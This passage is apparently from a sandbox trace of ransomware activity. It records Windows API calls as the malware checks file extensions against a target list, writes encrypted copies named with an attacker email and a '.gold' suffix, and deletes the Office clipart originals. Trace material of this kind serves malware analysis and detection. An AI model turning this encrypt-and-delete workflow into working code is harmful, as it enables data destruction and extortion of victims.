4 [0101.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0101.990] lstrlenW (lpString=".1cd") returned 4 [0101.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0101.990] lstrlenW (lpString=".jpg") returned 4 [0101.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0101.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0101.990] lstrlenW (lpString=".doc") returned 4 [0101.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.990] lstrlenW (lpString=".docx") returned 5 [0101.990] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0101.990] lstrlenW (lpString=".pdf") returned 4 [0101.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.990] lstrlenW (lpString=".xls") returned 4 [0101.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.990] lstrlenW (lpString=".xlsx") returned 5 [0101.990] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0101.990] lstrlenW (lpString=".ppt") returned 4 [0101.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0101.990] lstrlenW (lpString=".zip") returned 4 [0101.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.990] lstrlenW (lpString=".rar") returned 4 [0101.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.990] lstrlenW (lpString=".bz2") returned 4 [0101.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.990] lstrlenW (lpString=".7z") returned 3 [0101.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0101.991] lstrlenW (lpString=".dbf") returned 4 [0101.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0101.991] lstrlenW (lpString=".1cd") returned 4 [0101.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0101.991] lstrlenW (lpString=".jpg") returned 4 [0101.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.991] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.991] lstrlenW (lpString="J0099170.WMF") returned 12 [0101.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0101.994] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=24292) returned 1 [0101.994] CloseHandle (hObject=0x198) returned 1 [0101.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf")) returned 0x20 [0101.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0101.994] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.995] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.995] GetLastError () returned 0x0 [0101.995] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x5ee4, lpOverlapped=0x0) returned 1 [0102.018] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x5ef0, lpOverlapped=0x0) returned 1 [0102.019] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.019] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.019] SetEndOfFile (hFile=0x38c) returned 1 [0102.019] CloseHandle (hObject=0x38c) returned 1 [0102.019] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.019] SetEndOfFile (hFile=0x198) returned 1 [0102.021] CloseHandle (hObject=0x198) returned 1 [0102.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf")) returned 1 [0102.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0102.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0102.087] lstrlenW (lpString=".doc") returned 4 [0102.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.087] lstrlenW (lpString=".docx") returned 5 [0102.087] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0102.087] lstrlenW (lpString=".pdf") returned 4 [0102.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.087] lstrlenW (lpString=".xls") returned 4 [0102.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.087] lstrlenW (lpString=".xlsx") returned 5 [0102.087] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0102.087] lstrlenW (lpString=".ppt") returned 4 [0102.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0102.087] lstrlenW (lpString=".zip") returned 4 [0102.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.088] lstrlenW (lpString=".rar") returned 4 [0102.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.088] lstrlenW (lpString=".bz2") returned 4 [0102.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.088] lstrlenW (lpString=".7z") returned 3 [0102.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0102.088] lstrlenW (lpString=".dbf") returned 4 [0102.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0102.088] lstrlenW (lpString=".1cd") returned 4 [0102.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0102.088] lstrlenW (lpString=".jpg") returned 4 [0102.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0102.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0102.088] lstrlenW (lpString=".doc") returned 4 [0102.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.088] lstrlenW (lpString=".docx") returned 5 [0102.088] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0102.088] lstrlenW (lpString=".pdf") returned 4 [0102.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.088] lstrlenW (lpString=".xls") returned 4 [0102.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.088] lstrlenW (lpString=".xlsx") returned 5 [0102.088] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0102.088] lstrlenW (lpString=".ppt") returned 4 [0102.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0102.088] lstrlenW (lpString=".zip") returned 4 [0102.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.088] lstrlenW (lpString=".rar") returned 4 [0102.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.088] lstrlenW (lpString=".bz2") returned 4 [0102.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.088] lstrlenW (lpString=".7z") returned 3 [0102.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0102.088] lstrlenW (lpString=".dbf") returned 4 [0102.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0102.089] lstrlenW (lpString=".1cd") returned 4 [0102.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0102.089] lstrlenW (lpString=".jpg") returned 4 [0102.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.089] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0102.089] lstrlenW (lpString="J0099177.WMF") returned 12 [0102.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0102.089] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=5386) returned 1 [0102.089] CloseHandle (hObject=0x198) returned 1 [0102.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf")) returned 0x20 [0102.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0102.090] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.090] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0102.091] GetLastError () returned 0x0 [0102.091] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x150a, lpOverlapped=0x0) returned 1 [0102.128] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1510, lpOverlapped=0x0) returned 1 [0102.129] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.129] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.129] SetEndOfFile (hFile=0x38c) returned 1 [0102.129] CloseHandle (hObject=0x38c) returned 1 [0102.129] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.129] SetEndOfFile (hFile=0x198) returned 1 [0102.131] CloseHandle (hObject=0x198) returned 1 [0102.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf")) returned 1 [0102.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0102.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0102.312] lstrlenW (lpString=".doc") returned 4 [0102.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.312] lstrlenW (lpString=".docx") returned 5 [0102.312] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0102.312] lstrlenW (lpString=".pdf") returned 4 [0102.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.312] lstrlenW (lpString=".xls") returned 4 [0102.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.312] lstrlenW (lpString=".xlsx") returned 5 [0102.312] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0102.312] lstrlenW (lpString=".ppt") returned 4 [0102.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0102.312] lstrlenW (lpString=".zip") returned 4 [0102.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.312] lstrlenW (lpString=".rar") returned 4 [0102.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.312] lstrlenW (lpString=".bz2") returned 4 [0102.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.312] lstrlenW (lpString=".7z") returned 3 [0102.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0102.312] lstrlenW (lpString=".dbf") returned 4 [0102.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0102.312] lstrlenW (lpString=".1cd") returned 4 [0102.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0102.313] lstrlenW (lpString=".jpg") returned 4 [0102.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0102.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0102.313] lstrlenW (lpString=".doc") returned 4 [0102.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.313] lstrlenW (lpString=".docx") returned 5 [0102.313] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0102.313] lstrlenW (lpString=".pdf") returned 4 [0102.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.313] lstrlenW (lpString=".xls") returned 4 [0102.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.313] lstrlenW (lpString=".xlsx") returned 5 [0102.313] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0102.313] lstrlenW (lpString=".ppt") returned 4 [0102.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0102.313] lstrlenW (lpString=".zip") returned 4 [0102.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.313] lstrlenW (lpString=".rar") returned 4 [0102.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.313] lstrlenW (lpString=".bz2") returned 4 [0102.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.313] lstrlenW (lpString=".7z") returned 3 [0102.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0102.313] lstrlenW (lpString=".dbf") returned 4 [0102.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0102.313] lstrlenW (lpString=".1cd") returned 4 [0102.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0102.313] lstrlenW (lpString=".jpg") returned 4 [0102.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.313] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0102.313] lstrlenW (lpString="J0099183.WMF") returned 12 [0102.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0102.363] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=4946) returned 1 [0102.363] CloseHandle (hObject=0x194) returned 1 [0102.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf")) returned 0x20 [0102.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0102.363] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.363] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0102.393] GetLastError () returned 0x0 [0102.393] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1352, lpOverlapped=0x0) returned 1 [0102.471] WriteFile (in: hFile=0x3a8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1360, lpOverlapped=0x0) returned 1 [0102.471] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.471] WriteFile (in: hFile=0x3a8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.471] SetEndOfFile (hFile=0x3a8) returned 1 [0102.472] CloseHandle (hObject=0x3a8) returned 1 [0102.472] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.472] SetEndOfFile (hFile=0x194) returned 1 [0102.474] CloseHandle (hObject=0x194) returned 1 [0102.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0102.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0102.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0102.475] lstrlenW (lpString=".doc") returned 4 [0102.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.475] lstrlenW (lpString=".docx") returned 5 [0102.475] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0102.475] lstrlenW (lpString=".pdf") returned 4 [0102.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.475] lstrlenW (lpString=".xls") returned 4 [0102.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.475] lstrlenW (lpString=".xlsx") returned 5 [0102.475] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0102.475] lstrlenW (lpString=".ppt") returned 4 [0102.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0102.475] lstrlenW (lpString=".zip") returned 4 [0102.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.475] lstrlenW (lpString=".rar") returned 4 [0102.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.475] lstrlenW (lpString=".bz2") returned 4 [0102.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.475] lstrlenW (lpString=".7z") returned 3 [0102.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0102.475] lstrlenW (lpString=".dbf") returned 4 [0102.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0102.475] lstrlenW (lpString=".1cd") returned 4 [0102.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0102.475] lstrlenW (lpString=".jpg") returned 4 [0102.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0102.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0102.476] lstrlenW (lpString=".doc") returned 4 [0102.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 